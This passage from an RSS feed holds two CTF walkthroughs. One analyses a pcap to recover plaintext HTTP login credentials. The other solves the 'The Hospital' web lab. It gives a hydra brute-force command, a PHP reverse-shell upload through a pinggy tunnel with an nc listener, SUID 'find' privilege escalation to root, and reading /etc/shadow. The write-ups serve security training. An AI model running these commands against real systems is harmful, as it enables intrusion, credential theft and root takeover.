to a server.</p><p><em>Method A: Wireshark Filter</em></p><p>In the Wireshark display filter bar at the top, type:</p><pre>http.request.method == &quot;POST&quot;</pre><p>Press Enter. You will see only POST requests. Click the packet to expand it. In the middle pane, look at the IP layer, the Destination address is the server’s IP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HHKPmio6ngUFxmliKFXoIg.png" /><figcaption>wireshark</figcaption></figure><p><strong><em>Method B: TShark</em></strong></p><pre>tshark -r BrokenChain.pcap -Y &quot;http.request.method==POST&quot; -T fields -e ip.dst -e http.host</pre><pre>#Output:<br>65.61.137.117   testfire.net</pre><pre># Breakdown of the tshark command:<br># -Y &quot;http.request.method==POST&quot; = only show HTTP POST packets<br># -T fields = print specific fields, not full packets<br># -e ip.dst = extract destination IP address<br># -e http.host = extract the Host header</pre><p><strong>Q1: Server IP address: 65.61.137.117</strong></p><p>This is the IP address the browser sent the login form to, over plain HTTP.</p><h4>Question 2: What is the domain name of that IP address?</h4><p>Browsers send a ‘Host’ header in every HTTP request. This header contains the domain name of the site, so even without a separate DNS lookup you can extract it directly from the HTTP packet.</p><p><em>Method A: Wireshark</em></p><p>Click on the POST packet you found in Q1. In the middle pane, expand ‘Hypertext Transfer Protocol’. You will see a line that reads ‘Host: testfire.net’. That is the domain name.</p><p><em>Method B: TShark</em></p><pre>tshark -r BrokenChain.pcap -Y &quot;http.request.method==POST&quot; -T fields -e http.host</pre><pre># -e http.host = extracts the Host header field from the HTTP request</pre><p>You can also check DNS traffic to confirm , when the user’s browser first visited the site, it sent a DNS query to resolve testfire.net to an IP:</p><p><strong><em>Q2: Domain name</em>: testfire.net</strong></p><p>testfire.net is IBM’s intentionally vulnerable demo banking site (AltoroMutual), designed for security testing. The ‘Host’ header in the HTTP request reveals this.</p><p><strong>Question 3: What is the full URL of the login page?</strong></p><p>A full URL is made up of: scheme (http:// or <a href="https://)/">https://)</a> + domain + path. We already know the scheme is http:// (unencrypted, port 80) and the domain is testfire.net. We just need the path, the specific page the login form was posted to.</p><p><em>Method A: Wireshark</em></p><p>In the POST packet, expand ‘Hypertext Transfer Protocol’. You will see ‘Request URI: /doLogin’. Also look at the ‘Referer’ header, it shows ‘http://testfire.net/login.jsp,&#39; which is the page the user was on before clicking the login button.</p><p><strong>Q3: Full login URL: </strong><a href="http://testfire.net/login.jsp">http://testfire.net/login.jsp</a></p><p>The path ‘/doLogin’ is the server-side endpoint that processes login form submissions. The Referer header also shows the login page was at <a href="http://testfire.net/login.jsp">http://testfire.net/login.jsp</a> that’s where the user typed their credentials before posting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jruDGWG6qgV4RfoYfLnNbw.png" /><figcaption>wireshark</figcaption></figure><h4>Question 4: What username and password did the user provide?</h4><p>This is the most important question and the most alarming. Because the site used HTTP (not HTTPS), the form body was sent as plain text. The form data is encoded in a format called ‘application/x-www-form-urlencoded’, where fields are separated by &amp; symbols and look like ‘key=value’.</p><p><em>Method A: Wireshark</em></p><p>Click the POST packet, then expand ‘HTML Form URL Encoded’ at the bottom of the middle pane. You will see each form field listed individually: uid, passw, and btnSubmit, each with its value.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*Ws6KjBz_4HBULzGyXI9Hjw.png" /><figcaption>Follow: tcp stream</figcaption></figure><p><em>Method B: TShark</em></p><pre>tshark -r BrokenChain.pcap -Y &quot;http.request.method==POST&quot; -T fields \<br>-e http.file_data</pre><pre># http.file_data = the raw body of the HTTP request<br># for a login form, this contains the credentials<br># Then decode it</pre><p>This outputs something like:</p><p>uid=hello&amp;passw=unencryptedcreds&amp;btnSubmit=Login</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*wA8G2UxunKBVMtdaffOPxQ.png" /></figure><p><strong>Q4: Username and Password: hello,unencryptedcreds</strong></p><p>The uid field contained ‘hello’ and the passw field contained ‘unencryptedcreds’. These are the exact credentials the user typed visible to anyone who captured the traffic.</p><p>⚠️ This is why HTTPS matters. If the site had used HTTPS, all of this data would be encrypted and completely unreadable to an attacker, even if they captured the same network traffic.</p><h4>Question 5 : Which port was the insecure communication happening on?</h4><p>HTTP traffic runs on port 80 by default. We saw in the TCP conversation list that the connection to 65.61.137.117 was on port 80. You can confirm this directly from the packet.</p><p><em>Method A: Wireshark</em></p><p>Click the POST packet. In the middle pane, expand ‘Transmission Control Protocol’. Look for ‘Destination Port: 80’.</p><p><em>Method B: TShark</em></p><pre>tshark -r BrokenChain.pcap -Y &quot;http.request.method==POST&quot; -T fields -e tcp.dstport</pre><pre># tcp.dstport = the TCP destination port of the packet<br># for HTTP this will be 80</pre><h4>Q5: Insecure port<strong>: 80</strong></h4><p>Port 80 is the standard HTTP port. All traffic on this port is unencrypted. Compare this to port 443 (HTTPS) which encrypts everything.</p><h4>Question 6 : Which secure UDP protocol was the user running?</h4><p>Looking at the Protocol Hierarchy Statistics from Step 4.2, we saw ‘wg’ listed under UDP with 2 frames. ‘wg’ is WireGuard, a modern VPN (Virtual Private Network) protocol. Unlike older VPNs (OpenVPN, IPSec), WireGuard is extremely fast, simple, and secure by default.</p><p><em>How to find it: Wireshark</em></p><p>In Wireshark, type this in the display filter:</p><pre>wg</pre><p>You will see the WireGuard packets. The Protocol column will show ‘WireGuard’ and the destination port will be 51820.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-AkrdiED_OWBZZm2DB9U8A.png" /></figure><p><strong>Q6: Secure UDP protocol: WireGuard</strong></p><p>WireGuard is a next-generation VPN protocol. It uses state-of-the-art cryptography and runs over UDP, making it faster than traditional VPN protocols. Its default port is 51820.</p><p><strong>Question 7 : Which port was the secure UDP protocol listening on?</strong></p><p>We already found this in Q6. WireGuard was sending traffic to port 51820 on the remote server. Port 51820 is WireGuard’s default and well-known port similar to how port 80 is the default for HTTP and port 443 is the default for HTTPS.</p><h4>TShark confirmation</h4><pre>tshark -r BrokenChain.pcap -Y &quot;wg&quot; -T fields -e ip.dst -e udp.dstport</pre><p><strong>Q7: WireGuard port: 51820</strong></p><p>Port 51820 is the standard port for WireGuard VPN. The traffic goes from the user’s machine (192.168.100.6) to the VPN server (209.97.158.125) on this port.</p><h4>Question 8 : Which other secure TCP protocol was the user running?</h4><p>Looking back at our Protocol Hierarchy Statistics output, we saw that a large portion of the TCP traffic was tagged as ‘tls’. TLS stands for Transport Layer Security , it is the encryption protocol that HTTPS uses. When a browser connects to any site over HTTPS (port 443), TLS is what encrypts the connection.</p><p>The question asks for the protocol name without a version number. TLS has versions (TLS 1.0, 1.1, 1.2, 1.3), but the base protocol name is simply ‘TLS’.</p><p><em>Wireshark</em></p><p>In Wireshark, type ‘tls’ in the display filter bar. You will see all the encrypted connections , hundreds of packets going to various servers on port 443.</p><p><em>TShark confirm TLS exists</em></p><pre>tshark -r BrokenChain.pcap -Y &quot;tls&quot; -T fields -e ip.dst -e tcp.dstport | sort -u</pre><pre># This lists all unique TLS destination IPs and ports<br># sort -u removes duplicate lines<br># All entries will show port 443 , confirming HTTPS/TLS</pre><h4>Q8: Secure TCP protocol<strong>: TLS</strong></h4><p>TLS (Transport Layer Security) is the encryption protocol behind HTTPS. The capture shows 215 TLS frames going to multiple servers on port 443. The question asks for the protocol without version, so the answer is just ‘TLS’.</p><h3>The Three Takeaways</h3><ol><li>Always use HTTPS for any page that handles sensitive data.</li><li>Network traffic analysis tools like Wireshark can reveal everything sent over unencrypted connections.</li><li>VPN (WireGuard) and TLS are the right tools but only if the sensitive endpoint itself also uses them.</li></ol><p>Subscribe to my YouTube channel:</p><p><a href="https://www.youtube.com/@cybersensei-EH">https://www.youtube.com/@cybersensei-EH</a></p><p><em>— End of Walkthrough —</em></p><p>cybersensei-EH | MASTER THE HACK</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bb3213870541" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[“THE HOSPITAL” write-up]]></title>
            <link>https://medium.com/@cybersenseieh/the-hospital-write-up-a016887aba8b?source=rss-36497168bab6------2</link>
            <guid isPermaLink="false">https://medium.com/p/a016887aba8b</guid>
            <category><![CDATA[web-exploitation]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Cybersensei-EH]]></dc:creator>
            <pubDate>Thu, 16 Apr 2026 20:25:35 GMT</pubDate>
            <atom:updated>2026-04-16T20:25:35.226Z</atom:updated>
            <content:encoded><![CDATA[<p>This is a walk-through on the vault challenge titled “<a href="https://app.ctfroom.com/vault/the_hospital_68e09e84484b0">The hospital</a>”; a web exploitation lab rated easy on the <a href="https://www.ctfroom.com/">CTFroom</a> platform. From the latest developments of the platform by the time this walk-through is written, the vault is on free subscription therefore can be accessed by everyone who has an account on the platform. The vault is also found under the Rangetime category.</p><p>The vault start with a general description about the hospital. This is the best way to describe and analyze a task ahead of you, matters of what the hospital has and what is needed of you which is to investigate the web application, identify the vulnerability, and retrieve the hidden flag left behind by the attacker.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*G5yaShO4gfyYrbDGMjOVcQ.png" /></figure><p>The above is just but a general description of the task ahead, the vivid description starts once you open and access the module section which is on the right side of the platform interface. You are now able to understand the specific scenario of the hospital telling you to simulate an attack which is always the recommended thing to do when any organization needs to make sure their systems and network is safe. You are supposed to uncover hidden and unforgotten digital assets to make sure they are handled before real hackers exploit the endpoints and lead to a crisis in the hospital. The key words are: “<strong>Explore. Exploit. Enumerate. The window of opportunity is open! What would you do if no one was watching?”<br></strong>Make sure to download the zip file that is just below the module task. The zip file hold a very important file labelled: wordlist9.txt. The file will be used as a wordlist later in the exploitation process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QNPhzz5orAEml8MZ3JtmNw.png" /></figure><p>Start the lab, wait for not more than 15 seconds and an IP address will be available which you will use access the website. The first step should not be pasting the IP address on a new tab, this is not recommended since some labs actually use different ports for the web service. First step should be to open up your terminal and start enumeration. I would recommend you start with <strong>nmap</strong>. This is the tool to check on the running ports on the ip address and can be use to get even more information other than just the normal ports status. For this illustration, you are recommended to use the flag “-sV” in the nmap command. This is mainly to get to know the exact version of the service running on the port.<br>This is always important since some versions have known vulnerabilities which make the work easier. The process becomes researching on the specific version and once you get the CVE associated with the version, it just becomes a matter of preparing the exploit, in which sometimes one is already provided in <a href="https://www.exploit-db.com/">exploitDB</a>. The syntax for doing the nmap scanning is: “nmap -sV &lt;ip&gt;”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZVCDMIV3B_E6HuE0vOSqEg.jpeg" /></figure><p>What the nmap results clearly tell you is that the web portal is accessible on port 80 which is running Apache httpd 2.4.58. Now you can access the web page using the ip address provided. This lands you to a normal static page that is working perfectly. There seems to be few sub-pages like the departments page and even the contacts page. The home page clearly gives a description of what Unity Health hospital deals with.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MYpxWVotWaF14RMlqBQp-w.png" /></figure><p>As a penetration tester, the one thing to always remember that nothing just works perfectly fine, there might be more than what is visible through the normal human-eye. First step is viewing the page source of website. Nothing much is obtained from that, even inspecting the page, that doesn&#39;t give you more information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4elg0Edaqzb-KVv3XJcd5Q.png" /></figure><p>The first question from the platform is: <strong>What was the admin endpoint discovered after enumeration and scanning?<br></strong>This means that there is an endpoint you have not identified till now, the next step is surely conducting a sub-directory enumeration. The best tool for this job for now would be gobuster. Before using gobuster you have to identify and locate the suitable wordlist that will be used by gobuster in the scanning. I would recommend the common.txt wordlist. Since we are carrying out web enumaration, it’s appropriate to use: /usr/share/seclists/Discovery/Web-Content/common.txt. This is from seclists.</p><p>The syntax of gobuster when conducting sub-directory enumaration is:<br>gobuster dir -u &lt;http://ip&gt; -w &lt;wordlist&gt;</p><pre>gobuster dir -u &lt;http://ip&gt; -w &lt;wordlist&gt;</pre><p>Just like that and the tool is ready to conduct the scanning. The following are the likely results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*-pLonkoCqAop7bD4DDK4lg.png" /></figure><p>This is a jackpot for you, the last sub-directory got by gobuster is the answer for the first question on the platform. The admin endpoint is: /webadmin/</p><p>The next step is accessing the admin endpoint. This will give you access to a login page. This is actually a trick from the creator since most login pages are found on “login.php or even admin.php”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gbf1jsz2fkWjNzC1PCefVQ.png" /></figure><p>The login portal looks amazing and has no leaked credentials in the page-source. It is very important that every time you access a login page, you check the page source, sometimes credentials are just hidden there. For this they are not there. When you read the second question, you are instructed to brute force the login page and use “admin” as the username. This is where the “wordlist9.txt” that was provided in the start of the lab will be used. The wordlist9 contains random passwords that one of them is the correct one to authorize access into the login page.</p><p>The best tool to use for this brute-force I recommend hydra. It works best when dealing with online brute-forcing compared to john-the-ripper which is appropriate for offline password brute-forcing.<br>One thing before getting to set up the hydra command, You should clearly identify the error message that is gotten once invalid credentials are used on the login page. This means you should randomly enter a password in the password field and the username field use “admin”. The web page responds with an error message that is very important. It is also recommended to check the page source here so that you identify the exact field name that the username and password was entered to. The field names are very important in the hydra command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/442/1*W5TzTDAVUO_zRumBRBTjMA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EqALA3jWZGeyuzMJy9wJaA.png" /></figure><p>One simple mistype in the username, password and error message would lead to errors in the specific hydra command. The command to be used now is:</p><pre>hydra -l admin -P wordlist9.txt &lt;ip address&gt; http-post-form &quot;/webadmin/:username=^USER^&amp;password=^PASS^:Invalid credentials.&quot;</pre><p>This clearly gives you the password that is needed for authentication on the /webadmin endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i6LgoJWEfYMZNWtQ9qhc1g.png" /></figure><p>Use the username: admin and the password: sweetpea1 to now login. This redirect you to an amazing good looking dashboard. By now you can answer the question2 on the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aT4GrDfQbuIwGNd1kBymoQ.png" /></figure><p>QUESTION 3<br>You are now asked to get the flag after getting the reverse shell. This clearly gives you the hint that you are supposed to get reverse shell on the system. The best way of getting a reverse shell is by uploading a file mostly a php file. Sometimes there are measures put in place for a server to restrict uploads of such types but this specific one didn’t restrict that. <br>You are supposed to go through the webpage and identify where you can upload a script that will be your entry point for getting a reverse shell. The staff.php page is the best suite, staff are expected to upload their certificates here. They would then be saved in the <strong>/webadmin/staff.php</strong> endpoint that you got from the first gobuster scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nvx7XHBNsGc0ChrikIZ7Vw.png" /></figure><p>You are then supposed to prepare a script that will give you the reverse-shell on your local terminal. I have already created a script that surely works on the server and gives you the reverse shell on a silver platter. The link to the GitHub repo is:</p><p><a href="https://github.com/cybersensei-EH/the_hospital_ctfroom">https://github.com/cybersensei-EH/the_hospital_ctfroom</a></p><p>The little twist done by the creator of this challenge which is very logical, you cant just get a reverse shell without being directly connected to the server and the ip address that you provide in the script. There is the need of tunneling your traffic using a tool like ngrok and pinggy to be able to get a reverse shell. The best tool for this task has always been ngrok but due to an update that happened recently, it restricts users from setting up a connection without adding their credit cards. I would therefore recommend you use <strong>pinggy</strong> for this instance to make sure it works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7kDRK4FnUUBdhCJkWWGUZw.png" /></figure><p>For you to get the specific ip address use this command to start up pinggy in your terminal</p><pre>ssh -p 443 -R0:localhost:4444 tcp@a.pinggy.io</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zqmWeijQBxTLQCeSV4yDew.png" /></figure><p>You are asked to enter a passphrase and after that&#39;s authorized, the tool starts up and gives you an link. Such tools are also used in the process of social engineering so they are really useful for any cybersecurity professional. Copy such part of url, leaving alone the <strong>tcp://</strong></p><pre>bsqzu-102-204-12-234.run.pinggy-free.link</pre><p>That’s now the ip address you need to enter in your php file. There is a port provided after the url above, that same port should be entered in the $port variable that is in the second line. In our case 41125. You just need to edit the two variables in the script, then save it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KXqIlN5wsAAbNjCsMo3d-w.png" /></figure><p>Next thing is setting up a listener, use this command:</p><pre>nc -lvnp 4444</pre><p>After the listener is set up and the PHP file ready, just upload it on one of the staff slots. After the upload, the file is executed once you click <strong>view.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cqBFas-lpYhA-MTn26x8YQ.png" /></figure><p>Once you will be redirected to another tab which will not stop loading, that’s the good thing. A reverse shell has already been set up. Head back to your listener terminal point and you will get the reverse shell point already there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*PzcECYOc1CfijGv0WiZVJQ.png" /></figure><p>This is the reverse shell needed. The next step is doing some enumeration while getting the flag needed for the platform. The flag is found under: <br>/var/www/html</p><p>One thing that should lead you to checking this directory is the fact that after checking your current user, you see www-data, this is the default user account used by web servers especially Apache which is exactly what is running on port 80.</p><p>The default document root for web servers is /var/www/html. Thats why this is the same directory that has the sub-directories that you were dealing with recently, the likes of departments.php, patients.php and uploads. The flag was specifically hidden with the extension .found so that it could not be accessed randomly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uxSIIM4nIaADW6W6gQmr7Q.png" /></figure><p>Congratulations, you have now captured your first flag. Onto the next question</p><p><strong>QUESTION 4</strong></p><p>The question asked: What is the hash of user svc_backup?, now things get serious here. One thing to know is that in systems, user accounts information is stored in the “/etc/passwd” file. This file hold user accounts in plaintext and can be read by everybody in the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*lJ0SAzbpnpBc8uk2XlUJFw.png" /></figure><p>When it comes to user passwords, they are stored in “/etc/shadow” file. This file has different characteristics compared to /etc/passwd. First of all it never holds data in plaintext, it has the passwords in hashed format. The other thing is the fact that it is only accessible by the root user.</p><p>The fact that the file can only be accessed with the root users, you need to find a way to you either become a root user or even use tools that are only accessible by the root user to get the hash.</p><p>You are therefore expected to conduct some research on how to conduct privilege escalation. Use this command: (SUID: Set User ID)</p><pre>find / -perm -u=s -type f 2&gt;/dev/null</pre><p>The above command can be theorized as a “search for power” tool. <br><strong>-perm -u=s</strong>: “Find files that have a special ‘Superpower’ bit set (the SUID bit).” <br><strong>2&gt;/dev/null </strong>handles errors, avoiding to much error responses</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*Pg2W7ng5qyznFYCJd0gZYA.png" /></figure><p>The command gets a very important and vulnerable tool. <strong>find, </strong>this is seen with /usr/bin/find</p><p>You are supposed to use the <strong>find</strong> tool to find the hash of the user.</p><p>The straight command you can now use to check for the hash of svc_backup is below isn’t compulsory but just helps filter for the exact hash we are looking for.</p><pre>find /etc/shadow -exec cat {} \; | grep svc_backup</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oOMxNx7rpR-KWEs8NZVHwQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*MCmHABPVoLM1UKn5nIGyVg.png" /></figure><p>QUESTION 5</p><p>In this question we are asked: “There’s a home folder containing some user credentials. What is the name of the folder?”<br>Now in the home folder there are three folders. Not all these folders are accessible, checking using ls -la, you can notice they are only all accessible with root users. Since you are still under www-data user. Lets find a way to upgrade you to root user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*YOBIsbj5rKdJK8MMQziz1A.png" /></figure><p>You have already identified the tool find when checking for SUID privileges. You shall use the same <strong>find</strong> tool to get a root shell. This will be pure privilege escalation. Use the following command to get the root shell</p><pre>find . -exec /bin/sh -p \; -quit</pre><p>The above commands makes sure the find tool opens a shell (/bin/bash is the shell). The flag “-p” makes sure the privilege escalations are not dropped. You wouldn’t want the system to detect your real user account is different from the root user which you are acting to be. This is just a decisive game with the system. The ending of “-quit” makes sure that find doesn’t just keep opening shells in a loop manner. <br>Having done that, you can now check the current user you are running, use the command “whoami” it should respond with root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/364/1*SoWm-j2upPaL9WxxLDpFdg.png" /></figure><p>After that now you can inspect the home folder containing some user credentials. The credentials are in /home/svc_backup</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/1*-ZHQPUgr0hJpWSiN11GYzQ.png" /></figure><p>QUESTIONS 6 &amp; 7</p><p>The following commands help directly solve the questions<br>-rw-r--r-- 1 root root 24 Jul 18 2025 creds.txt<br>cat /home/svc_backup/creds.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/366/1*t6XK-SM_ntJ_nbBjUWwqzQ.png" /></figure><p>QUESTION 8: During your initial scans, you discover an RDMS. How many databases can you see?</p><p>This is solved with just one command. RDMS in full is basically Relational database management system. This now means you need to check the mysql databases. Use the following command.</p><pre>mysql -u root -e &quot;SHOW DATABASES;&quot;</pre><blockquote>The output is:<br><strong>hospital_db<br>information_schema<br>mysql<br>performance_schema<br>sys</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/554/1*0QBQeYl7oamNCGrWvT0-XQ.png" /></figure><p>That means that the databases are 5. That answers the last question.</p><p><strong>CLOSING REMARKS</strong></p><p>Thank you so much for sticking to the end, in summary this vault has taught us some few things</p><ul><li><strong>Enumeration is Key:</strong> Without Gobuster, the /webadmin portal would have remained hidden.</li><li>Networking is very important in a cybersecurity profession.</li><li><strong>Environment Matters:</strong> Modern security (like Ngrok’s updates) requires us to stay flexible and adapt to different toolkits (Pinggy).</li><li><strong>The SUID Path:</strong> Always check for binaries with elevated permissions; they are often the “skeleton key” to the root directory. Without “find” tool, we might have not been able to escalate privileges to root.</li></ul><p><strong>THE END</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a016887aba8b" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>